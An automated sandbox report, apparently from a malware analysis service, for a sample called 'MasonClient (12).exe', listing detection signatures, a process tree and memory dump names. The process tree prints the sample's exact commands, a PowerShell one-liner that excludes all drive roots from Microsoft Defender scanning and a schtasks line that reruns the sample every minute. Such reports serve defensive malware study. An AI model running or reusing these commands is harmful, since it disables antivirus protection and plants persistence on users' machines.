Analysis
- max time kernel
148s - max time network
137s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
12/08/2026, 04:46
General
- Target MasonClient (12).exe
- Size 58KB
- Sample260812-fd2rlawsct
- SHA256 ee91e58de7b4ed20fc58ee2e9322a98b4e13b406be3915458e5bb706aa7dc565
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 43 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\MasonClient (12).exe"C:\Users\Admin\AppData\Local\Temp\MasonClient (12).exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"2⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650013⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /f /sc minute /mo 1 /tn "MasonClient (12)" /tr "C:\Users\Admin\AppData\Roaming\MasonClient (12).exe"2⤵
- Scheduled Task/Job: Scheduled Task
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3376-26-0x00000001FAB50000-0x00000001FABAA000-memory.dmp
memory/3376-38-0x00007FF7A0030000-0x00007FF7A0049000-memory.dmp
memory/3376-37-0x00007FF7A0030000-0x00007FF7A0049000-memory.dmp
memory/5784-13-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-15-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-8-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-9-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-10-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-11-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-12-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-1-0x00007FFCD4EDF000-0x00007FFCD4EE0000-memory.dmp
memory/5784-14-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-7-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-16-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-19-0x00000222791D0000-0x00000222791EE000-memory.dmp
memory/5784-20-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-21-0x00000222791F0000-0x00000222792A2000-memory.dmp
memory/5784-22-0x00000222792B0000-0x00000222792BA000-memory.dmp
memory/5784-24-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-25-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-6-0x0000022279100000-0x0000022279122000-memory.dmp
memory/5784-3-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/5784-2-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp